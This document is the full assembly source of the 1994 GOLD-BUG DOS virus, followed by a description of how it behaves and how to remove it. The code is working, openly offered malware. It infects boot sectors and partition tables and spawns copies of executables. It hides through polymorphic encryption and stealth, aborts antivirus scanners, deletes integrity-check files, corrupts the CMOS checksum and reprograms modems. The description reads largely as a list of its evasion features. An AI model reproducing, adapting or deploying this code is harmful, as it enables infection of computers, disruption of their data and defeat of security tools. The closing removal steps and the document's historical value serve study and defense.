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Assembly Source File | 1994-03-01 | 32KB | 1,020 lines

cseg segment para public 'code' gold_bug proc near assume cs:cseg ;----------------------------------------------------------------------------- ;designed by "Q" the misanthrope. ;----------------------------------------------------------------------------- .186 ;----------------------------------------------------------------------------- ;floppy boot infection FLOPPY_1_2M equ 001h FLOPPY_760K equ 000h FLOPPY_TYPE equ FLOPPY_1_2M ;----------------------------------------------------------------------------- SECTOR_SIZE equ 00200h RES_OFFSET equ 0fb00h COM_OFFSET equ 00100h RELATIVE_OFFSET equ RES_OFFSET-COM_OFFSET PART_OFFSET equ COM_OFFSET+SECTOR_SIZE BOOT_OFFSET equ 07c00h RELATIVE_BOOT equ BOOT_OFFSET-PART_OFFSET LOW_JMP_10 equ 0031ch LOW_JMP_21 equ 00321h SAVE_INT_CHAIN equ 0032ch SCRATCH_AREA equ 08000h HEADER_SEGMENT equ 00034h INT_21_IS_NOW equ 0cch BIOS_INT_13 equ 0c6h NEW_INT_13_LOOP equ 0cdh BOOT_SECTOR equ 001h DESCRIPTOR_OFF equ 015h IF FLOPPY_TYPE EQ FLOPPY_1_2M DESCRIPTOR equ 0f909h OLD_BOOT_SECTOR equ 00eh COM_CODE_SECTOR equ 00dh ELSE DESCRIPTOR equ 0f905h OLD_BOOT_SECTOR equ 005h COM_CODE_SECTOR equ 004h ENDIF READ_ONLY equ 001h SYSTEM equ 004h DELTA_RI equ 004h DSR equ 020h CTS equ 010h CD equ 080h FAR_JUMP equ 0eah MIN_FILE_SIZE equ 00500h PSP_SIZE equ 00100h VIRGIN_INT_13_A equ 00806h VIRGIN_INT_13_B equ 007b4h VIRGIN_INT_2F equ 00706h FAR_JUMP_OFFSET equ 006h SET_INT_OFFSET equ 007h CHANGE_SEG_OFF equ 009h VIDEO_MODE equ 00449h MONOCHROME equ 007h COLOR_VIDEO_MEM equ 0b000h ADDR_MUL equ 004h SINGLE_BYTE_INT equ 003h VIDEO_INT equ 010h VIDEO_INT_ADDR equ VIDEO_INT*ADDR_MUL DISK_INT equ 013h DISK_INT_ADDR equ DISK_INT*ADDR_MUL SERIAL_INT equ 014h DOS_INT equ 021h DOS_INT_ADDR equ DOS_INT*ADDR_MUL MULTIPLEX_INT equ 02fh COMMAND_LINE equ 080h FIRST_FCB equ 05ch SECOND_FCB equ 06ch NULL equ 00000h GET_PORT_STATUS equ 00300h WRITE_TO_PORT equ 00100h HD_0_HEAD_0 equ 00080h READ_A_SECTOR equ 00201h WRITE_A_SECTOR equ 00301h GET equ 000h SET equ 001h DELETE_W_FCB equ 01300h DEFAULT_DRIVE equ 000h GET_DEFAULT_DR equ 01900h DOS_SET_INT equ 02500h FILE_DATE_TIME equ 05700h DENYNONE equ 040h OPEN_W_HANDLE equ 03d00h READ_W_HANDLE equ 03f00h WRITE_W_HANDLE equ 04000h CLOSE_HANDLE equ 03e00h UNLINK equ 04100h FILE_ATTRIBUTES equ 04300h RESIZE_MEMORY equ 04a00h QUERY_FREE_HMA equ 04a01h ALLOCATE_HMA equ 04a02h EXEC_PROGRAM equ 04b00h GET_ERROR_LEVEL equ 04d00h TERMINATE_W_ERR equ 04c00h RENAME_A_FILE equ 05600h LSEEK_TO_END equ 04202h CREATE_NEW_FILE equ 05b00h RESIDENT_LENGTH equ 068h PARAMETER_TABLE equ 005f1h MAX_PATH_LENGTH equ 00080h EXE_HEADER_SIZE equ 020h NEW_EXE_HEADER equ 00040h NEW_EXE_OFFSET equ 018h PKLITE_SIGN equ 'KP' PKLITE_OFFSET equ 01eh NO_OF_COM_PORTS equ 004h WINDOWS_BEGIN equ 01605h WINDOWS_END equ 01606h ERROR_IN_EXE equ 0000bh FILE_SIGNATURE equ 07081h XOR_SWAP_OFFSET equ byte ptr ((offset serial_number)-(offset com_code))+TWO_BYTES FILE_LEN_OFFSET equ byte ptr ((offset serial_number)-(offset com_code))+THREE_BYTES FIRST_UNDO_OFF equ byte ptr ((offset first_jmp)-(offset com_code)+ONE_BYTE) SECOND_UNDO_OFF equ byte ptr ((offset second_jmp)-(offset com_code)) BL_BX_OFFSET equ byte ptr ((offset incbl_incbx)-(offset com_code)) ROTATED_OFFSET equ byte ptr ((offset rotated_code)-(offset com_code)) STRING_LENGTH equ byte ptr ((offset partition_sig)-(offset string)) EXEC_SUBTRACT equ byte ptr ((offset file_name)-(offset exec_table)) DH_OFFSET equ byte ptr ((offset dh_value)-(offset initialize_boot)+TWO_BYTES) ONE_NIBBLE equ 004h ONE_BYTE equ 001h TWO_BYTES equ 002h THREE_BYTES equ 003h FOUR_BYTES equ 004h FIVE_BYTES equ 005h FIVE_BITS equ 005h EIGHT_BYTES equ 008h USING_HARD_DISK equ 080h KEEP_CF_INTACT equ 002h CMOS_CRC_ERROR equ 02eh CMOS_PORT equ 070h REMOVE_NOP equ 001h CR equ 00dh LF equ 00ah INT3_INCBX equ 043cch INC_BL equ 0c3feh INCBX_INCBL_XOR equ INT3_INCBX XOR INC_BL JMP_NO_SIGN equ 079h JMP_NOT_ZERO equ 075h JNS_JNZ_XOR equ JMP_NO_SIGN XOR JMP_NOT_ZERO ;----------------------------------------------------------------------------- video_seg segment at 0c000h org 00000h original_int_10 label word video_seg ends ;----------------------------------------------------------------------------- io_seg segment at 00070h org 00893h original_2f_jmp label word io_seg ends ;----------------------------------------------------------------------------- org COM_OFFSET com_code: ;----------------------------------------------------------------------------- first_decode proc near serial_number: xor word ptr ds:[si+bx+FIRST_UNDO_OFF],MIN_FILE_SIZE org $-REMOVE_NOP org $-FIVE_BYTES jmp load_it org $+TWO_BYTES rotated_code: int SINGLE_BYTE_INT into adc al,0d4h incbl_incbx: inc bl first_jmp: jnz serial_number add bx,si jns serial_number first_decode endp ;----------------------------------------------------------------------------- second_decode proc near push si get_next_byte: lodsw add bx,ax inc bx xor byte ptr ds:[si+SECOND_UNDO_OFF],bl org $-REMOVE_NOP dec si second_jmp: jns get_next_byte pop si second_decode endp ;----------------------------------------------------------------------------- com_start proc near push cs pop es call full_move_w_si mov ds,cx cmp cx,word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL] jne dont_set_int mov di,VIRGIN_INT_13_B call set_both_ints push cs pop es dont_set_int: mov cl,RESIDENT_LENGTH mov al,high(RESIZE_MEMORY) shl ax,cl mov bx,cx int DOS_INT pusha call from_com_code+RELATIVE_OFFSET popa push cs pop ds push cs pop es cmpsw mov dx,si sub si,EXEC_SUBTRACT org $-REMOVE_NOP mov bx,PARAMETER_TABLE mov di,bx mov ax,EXEC_PROGRAM set_table: scasw movsb scasb mov word ptr ds:[di],ds je set_table int DOS_INT mov ah,high(GET_ERROR_LEVEL) int DOS_INT mov ah,high(TERMINATE_W_ERR) int DOS_INT com_start endp ;----------------------------------------------------------------------------- interrupt_21 proc far pushf pusha push ds push es mov di,dx push ds pop es cld mov cx,MAX_PATH_LENGTH mov si,offset file_name+RELATIVE_OFFSET mov bx,ax cmp ax,EXEC_PROGRAM je start_process cmp ah,high(OPEN_W_HANDLE) je start_process cmp ah,high(UNLINK) jne a_return start_process: xor ax,ax copy_name: mov bl,byte ptr ds:[di] mov byte ptr cs:[si],bl inc si scasb loopne copy_name std scasw mov byte ptr cs:[si-FIVE_BYTES],al mov al,'E' scasw jne a_return mov ah,'X' scasw jne a_return push ds pusha call open_close_file mov word ptr cs:[new_time+ONE_BYTE+RELATIVE_OFFSET],cx mov word ptr cs:[new_date+ONE_BYTE+RELATIVE_OFFSET],dx or si,si jnz large_exe_file cmp word ptr ds:[si],FILE_SIGNATURE je our_kind xor di,bp jpo our_kind cmp word ptr ds:[si+NEW_EXE_OFFSET],NEW_EXE_HEADER jb test_if_open cmp word ptr ds:[si+PKLITE_OFFSET],PKLITE_SIGN je test_if_open large_exe_file: popa pop ds mov al,'N' scasb ja a_return mov al,'A' scasb jne a_return pop es pop ds popa cmp ah,high(EXEC_PROGRAM) jne opened_file popf mov al,CMOS_CRC_ERROR out CMOS_PORT,ax mov al,ERROR_IN_EXE stc retf KEEP_CF_INTACT our_kind: popa pop ds error_in_copy: inc di xchg byte ptr ds:[di],ch mov ax,OPEN_W_HANDLE+DENYNONE int INT_21_IS_NOW xchg ax,bx jnc close_it mov byte ptr ds:[di],ch jmp_a_return: jmp short a_return close_it: call force_close a_return: pop es pop ds popa opened_file: popf old_int_10_21: jmp far ptr original_int_10 test_if_open: popa pop ds cmp bh,high(EXEC_PROGRAM) jne error_in_copy drive_letter: sub al,USING_HARD_DISK jns error_in_copy mov ax,GET+FILE_ATTRIBUTES int INT_21_IS_NOW mov ah,high(RENAME_A_FILE) pusha mov di,offset file_name+RELATIVE_OFFSET push cs pop es int INT_21_IS_NOW set_attribs: popa int INT_21_IS_NOW mov ah,high(CREATE_NEW_FILE) int INT_21_IS_NOW jc error_in_copy xchg ax,bx mov ax,SET+FILE_ATTRIBUTES pusha push ds push cs pop ds or cl,SYSTEM mov dx,offset file_name+RELATIVE_OFFSET int INT_21_IS_NOW mov dx,offset fcb_name+RELATIVE_OFFSET mov ah,high(DELETE_W_FCB) int INT_21_IS_NOW xor di,di mov ax,SCRATCH_AREA mov es,ax mov ds,ax call full_move call move_some_more xor si,si mov cx,word ptr ds:[si+FILE_LEN_OFFSET] org $-REMOVE_NOP pusha set_second: add al,byte ptr cs:[si+RES_OFFSET] inc ax xor byte ptr ds:[si+SECOND_UNDO_OFF+TWO_BYTES],al org $-REMOVE_NOP inc si loop set_second popa mov ax,cx pusha xor bx,bx mov bl,byte ptr ds:[si+XOR_SWAP_OFFSET] org $-REMOVE_NOP set_first: xor word ptr ds:[bx],ax inc bx loop set_first popa mov ah,high(WRITE_W_HANDLE) cwd int INT_21_IS_NOW mov ax,SET+FILE_DATE_TIME new_time: mov cx,NULL new_date: mov dx,NULL call do_int21_close pop ds jmp short set_attribs interrupt_21 endp ;----------------------------------------------------------------------------- open_close_file proc near mov ax,OPEN_W_HANDLE+DENYNONE xor cx,cx int INT_21_IS_NOW jc more_returns xchg ax,bx mov dx,HEADER_SEGMENT mov ds,dx mov dl,NO_OF_COM_PORTS scan_coms: dec dx js no_more_coms mov ax,GET_PORT_STATUS int SERIAL_INT xor al,DELTA_RI+CTS+DSR and al,DELTA_RI+CTS+DSR+CD jnz scan_coms mov si,offset string+STRING_LENGTH-ONE_BYTE+RELATIVE_OFFSET mov cl,STRING_LENGTH output_data: lods byte ptr cs:[si] mov ah,high(WRITE_TO_PORT) int SERIAL_INT loop output_data no_more_coms: mov cl,EXE_HEADER_SIZE mov ah,high(READ_W_HANDLE) cwd int INT_21_IS_NOW xor cx,cx mov ax,LSEEK_TO_END int INT_21_IS_NOW mov word ptr cs:[FILE_LEN_OFFSET+RES_OFFSET],ax inc ah cmp ax,MIN_FILE_SIZE+PSP_SIZE adc dx,cx mov si,dx mov ax,GET+FILE_DATE_TIME do_int21_close: int INT_21_IS_NOW force_close: mov ah,high(CLOSE_HANDLE) int INT_21_IS_NOW more_returns: ret open_close_file endp ;----------------------------------------------------------------------------- full_move_w_si proc near swap_incbx_bl: xor word ptr ds:[si+BL_BX_OFFSET],INCBX_INCBL_XOR org $-REMOVE_NOP xor byte ptr ds:[si+BL_BX_OFFSET+TWO_BYTES],JNS_JNZ_XOR org $-REMOVE_NOP stc full_move_w_di: mov di,RES_OFFSET full_move: call move_code move_code: jc move_some_more mov si,RES_OFFSET mov cl,ONE_NIBBLE ror word ptr cs:[si+ROTATED_OFFSET],cl org $-REMOVE_NOP move_some_more: mov cx,SECTOR_SIZE pushf cld rep movs byte ptr es:[di],cs:[si] popf stc ret full_move_w_si endp ;----------------------------------------------------------------------------- org PART_OFFSET-ONE_BYTE fcb_name db DEFAULT_DRIVE ;----------------------------------------------------------------------------- org PART_OFFSET boot_code: ;----------------------------------------------------------------------------- initialize_boot proc near db 'CHKLIST????' cli push cs mov si,BOOT_OFFSET-SECTOR_SIZE pop ss mov sp,si sti push cs org PART_OFFSET+DESCRIPTOR_OFF db high(DESCRIPTOR) pop ds mov cx,COM_CODE_SECTOR pushf push cs push BOOT_OFFSET mov ax,READ_A_SECTOR push cs pop es dh_value: mov dx,NULL mov bx,dx xor dh,al shr dx,1 mov dh,bh push dx mov bx,si push ax int DISK_INT pop ax mov di,VIDEO_INT_ADDR mov bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_BOOT+ONE_BYTE call get_n_set_int+ONE_BYTE mov bx,offset low_code-TWO_BYTES+RELATIVE_OFFSET cmp dx,LOW_JMP_10 je try_this_out cmp byte ptr ds:[VIDEO_MODE],MONOCHROME jae try_this_out mov di,DISK_INT_ADDR call set_both_ints mov ch,high(COLOR_VIDEO_MEM) mov bx,offset high_code+RELATIVE_OFFSET try_this_out: push cx push bx mov es,cx call full_move_w_si retf initialize_boot endp ;----------------------------------------------------------------------------- high_code proc near mov dx,offset int_10_start+RELATIVE_OFFSET mov bx,LOW_JMP_10-FAR_JUMP_OFFSET call set_int_10_21 mov bx,VIDEO_INT_ADDR-SET_INT_OFFSET low_code: mov es,cx mov cl,OLD_BOOT_SECTOR mov dx,LOW_JMP_10 call set_interrupt mov bx,BOOT_OFFSET pop dx int DISK_INT xor dh,dh mov cl,BOOT_SECTOR mov ax,WRITE_A_SECTOR high_code endp ;----------------------------------------------------------------------------- interrupt_13 proc far int_13_start: mov byte ptr cs:[drive_letter+ONE_BYTE+RELATIVE_OFFSET],dl cmp cx,BOOT_SECTOR jne no_boot_sector cmp ah,high(READ_A_SECTOR) jne no_boot_sector cmp dx,HD_0_HEAD_0 jbe reread_boot no_boot_sector: int NEW_INT_13_LOOP jmp short return_far reread_boot: int NEW_INT_13_LOOP jc return_far pusha push ds push es pop ds check_old_boot: mov ax,READ_A_SECTOR xor dh,dh mov cl,OLD_BOOT_SECTOR cmp word ptr ds:[bx],'HC' je read_old_boot test dl,USING_HARD_DISK jnz encode_hd cmp word ptr ds:[bx+DESCRIPTOR_OFF-ONE_BYTE],DESCRIPTOR jne time_to_leave mov dh,al pusha int NEW_INT_13_LOOP cmp byte ptr ds:[bx],ch popa pushf pusha xor dh,dh mov cl,al int NEW_INT_13_LOOP popa popf jne time_to_leave encode_hd: mov ah,high(WRITE_A_SECTOR) push ax int NEW_INT_13_LOOP pop ax jc time_to_leave mov di,bx call move_code mov cl,COM_CODE_SECTOR xor byte ptr ds:[bx+XOR_SWAP_OFFSET],dh org $-REMOVE_NOP jo dont_flip_it xchg word ptr ds:[bx+ROTATED_OFFSET],ax org $-REMOVE_NOP xchg ah,al xchg word ptr ds:[bx+ROTATED_OFFSET+TWO_BYTES],ax org $-REMOVE_NOP xchg word ptr ds:[bx+ROTATED_OFFSET],ax org $-REMOVE_NOP dont_flip_it: pusha int NEW_INT_13_LOOP popa mov di,bx call move_some_more mov byte ptr ds:[bx+DH_OFFSET],dh org $-REMOVE_NOP mov dh,cl inc cx int NEW_INT_13_LOOP jmp short check_old_boot read_old_boot: mov dh,byte ptr ds:[bx+DH_OFFSET] org $-REMOVE_NOP int NEW_INT_13_LOOP time_to_leave: pop ds popa clc return_far: retf KEEP_CF_INTACT interrupt_13 endp ;----------------------------------------------------------------------------- interrupt_2f proc far pusha push ds push es push offset return_to_2f+RELATIVE_OFFSET xor cx,cx mov ds,cx mov bx,SAVE_INT_CHAIN-SET_INT_OFFSET cmp ax,WINDOWS_END jne try_another les dx,dword ptr ds:[bx+SET_INT_OFFSET] jmp short set_13_chain try_another: cmp ax,WINDOWS_BEGIN jne another_return mov di,VIRGIN_INT_13_B call get_n_set_int+ONE_BYTE les dx,dword ptr ds:[BIOS_INT_13*ADDR_MUL] set_13_chain: mov ax,READ_A_SECTOR call get_set_part mov bx,VIRGIN_INT_13_B-SET_INT_OFFSET call set_interrupt mov bl,low(VIRGIN_INT_13_A-SET_INT_OFFSET) call set_interrupt mov ah,high(WRITE_A_SECTOR) interrupt_2f endp ;----------------------------------------------------------------------------- get_set_part proc near pusha push es mov bx,SCRATCH_AREA mov es,bx mov dx,HD_0_HEAD_0 inc cx int NEW_INT_13_LOOP mov ax,READ_A_SECTOR int DISK_INT pop es popa another_return: ret get_set_part endp ;----------------------------------------------------------------------------- return_to_2f proc near pop es pop ds popa jmp far ptr original_2f_jmp return_to_2f endp ;----------------------------------------------------------------------------- interrupt_10 proc far int_10_start: pushf pusha push ds push es push offset a_return+RELATIVE_OFFSET from_com_code: xor bx,bx mov ds,bx or ah,ah jz set_10_back mov ax,QUERY_FREE_HMA int MULTIPLEX_INT cmp bh,high(MIN_FILE_SIZE+SECTOR_SIZE) jb another_return mov ax,ALLOCATE_HMA int MULTIPLEX_INT clc call full_move_w_di mov dx,offset int_13_start+RELATIVE_OFFSET call set_13_chain mov bx,VIRGIN_INT_2F-SET_INT_OFFSET mov dx,offset interrupt_2f+RELATIVE_OFFSET call set_interrupt cmp word ptr ds:[LOW_JMP_10],cx je set_10_back push es push es mov di,DOS_INT_ADDR mov bx,INT_21_IS_NOW*ADDR_MUL-SET_INT_OFFSET call get_n_set_int+ONE_BYTE pop ds mov bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_OFFSET+ONE_BYTE call set_interrupt mov ds,cx mov ax,DOS_SET_INT+DOS_INT mov dx,LOW_JMP_21 int INT_21_IS_NOW pop es mov bx,dx mov dx,offset interrupt_21+RELATIVE_OFFSET mov word ptr ds:[bx],0b450h mov word ptr ds:[bx+TWO_BYTES],0cd19h mov word ptr ds:[bx+FOUR_BYTES],05800h+INT_21_IS_NOW call set_int_10_21 set_10_back: mov di,offset old_int_10_21+RELATIVE_OFFSET+ONE_BYTE mov bx,LOW_JMP_10-FAR_JUMP_OFFSET interrupt_10 endp ;----------------------------------------------------------------------------- get_n_set_int proc near les dx,dword ptr cs:[di] jmp short set_interrupt set_int_10_21: mov byte ptr ds:[bx+FAR_JUMP_OFFSET],FAR_JUMP set_interrupt: mov word ptr ds:[bx+SET_INT_OFFSET],dx mov word ptr ds:[bx+CHANGE_SEG_OFF],es ret get_n_set_int endp ;----------------------------------------------------------------------------- set_both_ints proc near mov bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET call get_n_set_int+ONE_BYTE mov bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET jmp short set_interrupt set_both_ints endp ;----------------------------------------------------------------------------- exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB ;----------------------------------------------------------------------------- org PART_OFFSET+001f3h string db CR,'1O7=0SLMTA' ;----------------------------------------------------------------------------- org PART_OFFSET+SECTOR_SIZE-TWO_BYTES partition_sig dw 0aa55h ;----------------------------------------------------------------------------- org PART_OFFSET+SECTOR_SIZE+TWO_BYTES file_name db 'DA',027h,'BOYS.COM',NULL ;----------------------------------------------------------------------------- org PARAMETER_TABLE dw NULL,NULL,NULL,NULL,NULL,NULL,NULL db NULL ;----------------------------------------------------------------------------- load_it proc near mov word ptr ds:[si],FILE_SIGNATURE mov byte ptr ds:[si+TWO_BYTES],FIRST_UNDO_OFF push bx xor ax,ax cli out 043h,al in al,040h mov ah,al in al,040h sti push ax and ax,0001eh mov bx,ax mov ax,word ptr ds:[bx+two_byte_table] mov word ptr ds:[si+ROTATED_OFFSET+TWO_BYTES],ax org $-REMOVE_NOP pop ax and ax,003e0h mov cl,FIVE_BITS shr ax,cl mov bx,ax mov al,byte ptr ds:[bx+one_byte_table] xor al,low(INC_BL) mov byte ptr ds:[swap_incbx_bl+THREE_BYTES],al pop bx jmp com_start load_it endp ;----------------------------------------------------------------------------- two_byte_table: mov al,0b2h xor al,0b4h and al,0d4h les ax,dword ptr ds:[si] les cx,dword ptr ds:[si] les bp,dword ptr ds:[si] adc al,0d4h and al,084h adc al,084h adc al,024h add al,084h add al,014h add al,024h test dl,ah repz stc repnz stc ;----------------------------------------------------------------------------- one_byte_table: int SINGLE_BYTE_INT into daa das aaa aas inc ax inc cx inc dx inc bp inc di dec ax dec cx dec dx dec bp dec di nop xchg ax,cx xchg ax,dx xchg ax,bp xchg ax,di cbw cwd lahf scasb scasw xlat repnz repz cmc clc stc ;----------------------------------------------------------------------------- gold_bug endp cseg ends end com_code ;----------------------------------------------------------------------------- Virus Name: GOLD-BUG Aliases: AU, GOLD, GOLD-FEVER, GOLD-MINE V Status: New, Research Discovery: January, 1994 Symptoms: CMOS checksum failure; Creates files with no extension; Modem answers on 7th ring; BSC but it is hidden; Most virus scanners fail to run; CHKLIST.??? files deleted. Origin: USA Eff Length: 1,024 Bytes Type Code: SBERaRbReX - Spawning Color Video Resident and Extended HMA Memory Resident Boot-Sector and Master-Sector Infector Detection Method: None Removal Instructions: See Below General Comments: GOLD-BUG is a memory-resident multipartite polymorphic stealthing boot-sector spawning anti-antivirus virus that works with DOS 5 and DOS 6 in the HIMEM.SYS memory. When an .EXE program infected with the GOLD-BUG virus is run, it determines if it is running on an 80186 or better, if not it will terminate and not install. If it is on an 80186 or better it will copy itself to the partition table of the hard disk and remain resident in memory in the HMA (High Memory Area) only if the HMA is available, ie. DOS=HIGH in the CONFIG.SYS file else no infection will occur. The old partition table is moved to sector 14 and the remainder of the virus code is copied to sector 13. The virus then executes the spawned associated file if present. INT 13 and INT 2F are hooked into at this time but not INT 21. The spawning feature of this virus is not active now. When the computer is rebooted, the virus goes memory resident in the color video memory. Also at this time the GOLD-BUG virus removes itself from the partition table and restores the old one back. Unlike other boot-sector infectors, it does not use the top of memory to store the code. CHKDSK does not show a decrease in available memory. At this time it only hooks INT 10 and monitors when the HMA becomes available. Once DOS moves into the HMA, then GOLD-BUG moves into the HMA at address FFFF:FB00 to FFFF:FFFF. If the HMA never becomes available, ie. DOS loaded LOW or the F5 key hit in DOS 6 to bypass the CONFIG.SYS, then the virus clears itself from the system memory when the computer changes into graphics mode. If it moves to the HMA, it hooks INT 13, INT 21 and INT 2F and then rewrites itself back to the partition table. The GOLD-BUG virus also has some code that stays resident in the interrupt vector table to always make the HMA available to the virus. The full features of the virus are now active. The GOLD-BUG virus will infect the boot sector of 1.2M diskettes. The virus copies itself to the boot sector of the diskette and moves a copy of the boot sector to sector 28 and the remainder of the code is copied to sector 27. These are the last 2 sectors of the 1.2M disk root directory. If there are file entries on sector 27 or 28 it will not overwrite them with the virus code. It will infect 1.2M disks in drive A: or B: If a clean boot disk is booted from drive A: and you try to access C: you will get an invalid drive specification. The boot-sector infection is somewhat unique. If the computer is booted with a disk that contains the GOLD-BUG virus, it will remain in video memory until the HMA is available and then infect the hard disk. Also at this time, it will remove itself from the 1.2M disk. The virus will never infect this disk again. It makes tracking where you got the virus from difficult in that your original infected disk is not infected anymore. If an .EXE file less than 64K and greater then 1.5K is executed, GOLD-BUG will randomly decide to spawn a copy of it. The .EXE file is renamed to the same file name with no extension, ie. CHKDSK.EXE becomes CHKDSK. The original file attributes are then changed to SYSTEM. An .EXE file with the same name is created. This .EXE file has the same length, file date and attributes as the original .EXE file. This spawning process will not make a copy on a diskette because it might be write protected and be detected; but it will make a spawn .EXE file on a network drive. When a spawned file is created, CHKLIST.??? of the current directory is also deleted. The .EXE file that is created is actually a .COM file; it has no .EXE header. The GOLD-BUG virus is very specific as to what type of .EXE files it will spawn copies. It will not spawn any Windows .EXE files or any other .EXE files the use the new extended .EXE header except those that use the PKLITE extended .EXE header. This way all Windows programs will continue to run and the virus will still be undetected. The GOLD-BUG virus is also Polymorphic. Each .EXE file it creates only has 2 bytes that remain constant. It can mutate into 128 different decryption patterns. It uses a double decryption technique that involves INT 3 that makes it very difficult to decrypt using a debugger. The assembly code allowed for 512 different front-end decrypters. Each of these can mutate 128 different ways. The GOLD-BUG virus incorporates an extensive steathing technique. Any time the hard disk partition table or boot sector of an infected diskette is examined, the copy of the partition table or boot sector is returned. If a spawned .EXE file is opened to be read or executed; the GOLD-BUG virus will redirect to the original file. Windows 3.1 will detect a resident boot-sector virus if the "Use 32 Bit Access" is enabled on the "Virtual Memory" option. GOLD-BUG will disconnect itself from the INT 13 chain when Windows installs and reconnect when Windows uninstalles to avoid being detected. When Windows starts, the GOLD-BUG virus will copy the original hard disk partition table back. When Windows ends, the GOLD-BUG virus will reinfect the partition table. The GOLD-BUG virus also has an extensive anti-antivirus routine. It can install itself with programs like VSAFE.COM and DISKMON.EXE resident that monitor changes to the computer that are common for viruses. It writes to the disk using the original BIOS INT 13 and not the INT 13 chain that these types of programs have hooked into. It hooks into the bottom of the interrupt chain rather than changing and hooking interrupts; very similar to the tunneling technique. If the GOLD-BUG virus is resident in memory, any attempts to run most virus scanners will be aborted. GOLD-BUG stops any large .EXE file (greater than 64k) with the last two letters of "AN" to "AZ". It will stop SCAN.EXE, CLEAN.EXE, NETSCAN.EXE, CPAV.EXE, MSAV.EXE, TNTAV.EXE, etc., etc. The SCAN program will have an execution error. Also, GOLD-BUG will cause a CMOS checksum failure to happen next time the system boots. GOLD-BUG also erases "CHKLIST.???" created by CPAV.EXE and MSAV.EXE. Programs that do an internal checksum on themselves will not detect any changes. The Thunder Byte Antivirus programs contain a partition table program that claims it can detect all partition table viruses. GOLD-BUG rides right through the ThunderByte partition virus checker. The GOLD-BUG virus detects a modem. If you received an incoming call on the modem line, GOLD-BUG will output a string that will set the modem to answer on the seventh ring. If a program tries to erase the infected .EXE file, the original program and not the infected .EXE file is erased. The text strings "AU", "1O7=0SLMTA", and "CHKLIST????" appear in the decrypted code. The virus gets it name from "AU", the chemical element "GOLD". The text string "CHKLIST????" is actually executable code. The GOLD-BUG virus has two companion viruses that it works with. The DA'BOYS virus is also a boot-sector infector. It is possible to have a diskette with two boot-sector viruses. GOLD-BUG hides the presence of the DA'BOYS virus from the Windows 3.1 startup routine. GOLD-BUG removes the DA'BOYS virus from the INT 13 chain at the start of Windows and restores it when Windows ends. The GOLD-BUG virus works with the XYZ virus; it reserves the space FFFF:F900 to FFFF:FAFF in the HMA for the XYZ virus so it can load as well. To remove the GOLD-BUG virus, change DOS=HIGH to DOS=LOW in the CONFIG.SYS, then reboot. Once the system comes up again, reboot from a clean boot disk. The Virus has now removed itself from the partition table and memory. With the ATTRIB command check for files with the SYSTEM bit set that don't have any extension. Delete the .EXE file associated with the SYSTEM file. Using ATTRIB remove the SYSTEM attribute. Rename the file with no extension to an .EXE file. Format each diskette or run SYS to remove the virus from the boot sector of each 1.2M disk. Any spawned .EXE files copied to diskette need to be deleted.